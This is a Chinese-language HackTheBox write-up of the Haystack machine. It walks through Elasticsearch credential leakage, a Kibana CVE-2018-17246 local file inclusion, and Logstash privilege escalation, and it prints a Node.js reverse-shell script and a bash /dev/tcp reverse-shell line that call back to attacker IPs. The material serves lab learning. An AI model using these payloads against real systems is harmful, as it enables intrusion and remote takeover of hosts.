> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md).

# Haystack HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/195>" %}

{% hint style="warning" %}
**技能**:

* ElasticSearch 枚举
* 信息泄露
* Kibana 枚举
* Kibana 利用（CVE-2018-17246）
* 滥用 Logstash（权限提升）
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/9510609b776f2d79928402f95859845294e604ad" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/2041844d1a7555d255535057afe72ae82aa97a71" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts
```

<figure><img src="/files/2e56b3e059ab39e9370bdddcd55c41886cc0ae92" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（9200）

<figure><img src="/files/96d18c1e1cf30a58b52aa49122d72f072af14d4d" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted
```

<figure><img src="/files/707cd178c17dec5864fb2cc78cfd66ff663cfab3" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="/files/a94bc043d26ad4264342eaab191e080d98057f2c" alt="" width="563"><figcaption></figcaption></figure>

## 暴露服务分析

### 80 端口 - 信息泄露

**使用 ExifTool 提取元数据**

<figure><img src="/files/3d383ac40586709a51d778f55d3368c5c0da1eae" alt="" width="563"><figcaption></figcaption></figure>

通过分析服务器上找到的图像 `strings`，我们发现了一个 Base64 编码字符串：

`bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

<figure><img src="/files/77592a682896c85385108f0550ed4a6f8a2aaee1" alt=""><figcaption></figcaption></figure>

解码后，这个字符串揭示了以下信息： *“茫茫人海中的针是‘key’”*.

<figure><img src="/files/d94019a9666ef3f92eb5ff5239de5b1a5a5f1c9d" alt="" width="563"><figcaption></figcaption></figure>

### Elasticsearch - 信息泄露

#### 9200 端口运行着 ElasticSearch 6.4.2 版本。

<figure><img src="/files/2d40d4bcb8dbb504bee9502be0ff9ff8d93ddebd" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
Elasticsearch 是一个实时搜索和分析引擎，用于快速索引和搜索大量数据。它集成到 ELK 技术栈中，提供高级的数据可视化和分析能力。
{% endhint %}

<figure><img src="/files/bba7c963cc6b8de1fd14abd896f92f9d49728807" alt=""><figcaption></figcaption></figure>

通过访问 `/_cat/indices?` URL，我们会得到一个带有 UUID 的索引列表。要提取某个索引的内容，我们使用以下 URL：

`http://haystack.htb:9200/<index>/_search?pretty=true&size=1000`

<figure><img src="/files/4087991303edcab2cb145dfe8242926f7ccf2f9f" alt=""><figcaption></figcaption></figure>

**使用 Curl 进行数据过滤**

使用索引 `quotes` 并针对挑战关键字进行过滤后，找到了相关信息：

```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```

<figure><img src="/files/f1a1fa6862c97defbcea4a6979eb0119f3ce1491" alt=""><figcaption></figcaption></figure>

**解码 Base64 编码字符串**

我们得到了两个 Base64 编码字符串，解码后会揭示身份信息：

```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```

<figure><img src="/files/9244aa42215fd26a2b6abfa3c6ddfc3cc78cb9e6" alt=""><figcaption></figcaption></figure>

**用户：** `security`/ **密码：** `spanish.is.key`

### SSH 连接

使用获取到的凭据，我们通过 SSH 连接到目标机器并访问用户：

```bash
ssh security@10.10.10.115
```

<figure><img src="/files/59279d54963be3ccbb53824d17b050d45cfe5996" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/d64f303fe6fbdd3b23bf110e4f1433c0615b04ba" alt="" width="520"><figcaption></figcaption></figure>

**一旦你获得 Linux 服务器访问权限，以下是在终端中执行的命令：**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

**这将使你工作得更加高效，最重要的是更加舒适。**

## 权限提升：

### Kibana（端口转发）

**步骤 1：识别开放端口**

首先，我们使用以下命令观察内部开放端口：

```bash
netstat -nltp
```

我们注意到端口 **5601** 引起了我们的注意。

<figure><img src="/files/2eb5d683625d13eeca900e4a10dc9e17529403fc" alt=""><figcaption></figcaption></figure>

通过对其执行一个 `curl` 请求，我们从 Kibana 获取到一个 HTML 页面：

{% hint style="info" %}
**Kibana** 是 Elasticsearch 的开箱即用数据可视化仪表盘软件
{% endhint %}

<figure><img src="/files/dcf1b65a89bde680fe2be7cc808368e1f89978f6" alt=""><figcaption></figcaption></figure>

**步骤 2：通过端口转发访问 Kibana**

我们将把服务器的内部端口 **5601** 重定向到我们的本地机器，以便通过浏览器访问它。这个重定向可以通过 SSH 使用以下命令完成：

```bash
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
```

这会把目标机器的本地 5601 端口重定向到我们自己机器的 5601 端口，从而允许直接访问

<figure><img src="/files/77ad8e7dc7fe40e0fc9cd03a14aba835f2bcfafd" alt=""><figcaption></figcaption></figure>

**步骤 3：检查 Kibana 版本**

通过访问 `http://localhost:5601/api/status`，我们观察 Kibana 的版本号： **6.4.2**。该版本存在一个 **本地文件包含（LFI）** 攻击漏洞，识别为 **CVE-2018-17246**.

<figure><img src="/files/f872c438bf610a44d07c835997da80adbbaaf797" alt=""><figcaption></figcaption></figure>

### Kibana 利用（CVE-2018-17246）

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**步骤 4：利用该漏洞**

为了利用这个漏洞，我们将创建一个 JavaScript 文件来实现反向 shell。在 `/tmp` 目标机器的 `rev.js` 并使用以下代码：

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // 防止 Node.js 应用程序崩溃
})();
</code></pre>

这个脚本将会在端口 **443** 上与你的机器建立连接，以打开一个 shell。

**步骤 5：将流重定向到文件**

然后将该流重定向到 `/dev/shm/rev.js` 文件，使用以下命令：

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**步骤 6：在端口上监听反向 shell**

在你的机器上，启动一个监听器，监听端口 **443** 以捕获反向 shell：

```bash
nc -nlvp 443
```

一旦登录，你就会在目标机器上获得一个 shell，从而可以进行权限提升。

<figure><img src="/files/26c90460d31eed2788e04a094e4d44222d78bb17" alt=""><figcaption></figcaption></figure>

## 滥用 Logstash

我们搜索所有可由用户访问的文件 `kibana`:

```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```

<figure><img src="/files/d31df025c50d977d69387423e02858650f98f74b" alt="" width="563"><figcaption></figcaption></figure>

通过访问 Logstash，我们发现了三个配置文件：

* `filter.conf`
* `input.conf`
* `output.conf`

<figure><img src="/files/901a07692aad15a190e87bfe9719e19fc660c63c" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
总之，Logstash 运行着一个 cron 任务，每 10 秒检查一次是否存在名为 `logstash_*` 的文件，位于 `/opt/kibana/` 目录。如果找到匹配文件并且其中包含一个带有特定输入的命令，格式为：
{% endhint %}

`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

<figure><img src="/files/80a4fbf8e02f0df33a2b04f70a48c2484237cf60" alt=""><figcaption></figcaption></figure>

为了利用这个漏洞，我们创建一个名为 `logstash_exec` 在 `/opt/kibana/` 目录中，内容如下：

```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```

接下来，我们在 4444 端口上监听，并获取 root 访问权限。

<figure><img src="/files/f66f85fd5b98b55bea5c4debd4e2cfee9c54aad3" alt=""><figcaption></figcaption></figure>

### root 的 flag :)

<figure><img src="/files/006dc55b99646e0fc7f330235a8b4b5b4fe809f4" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/7caad4d71eb31db6cfe7fcc3bbdef6492d61cd6d" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
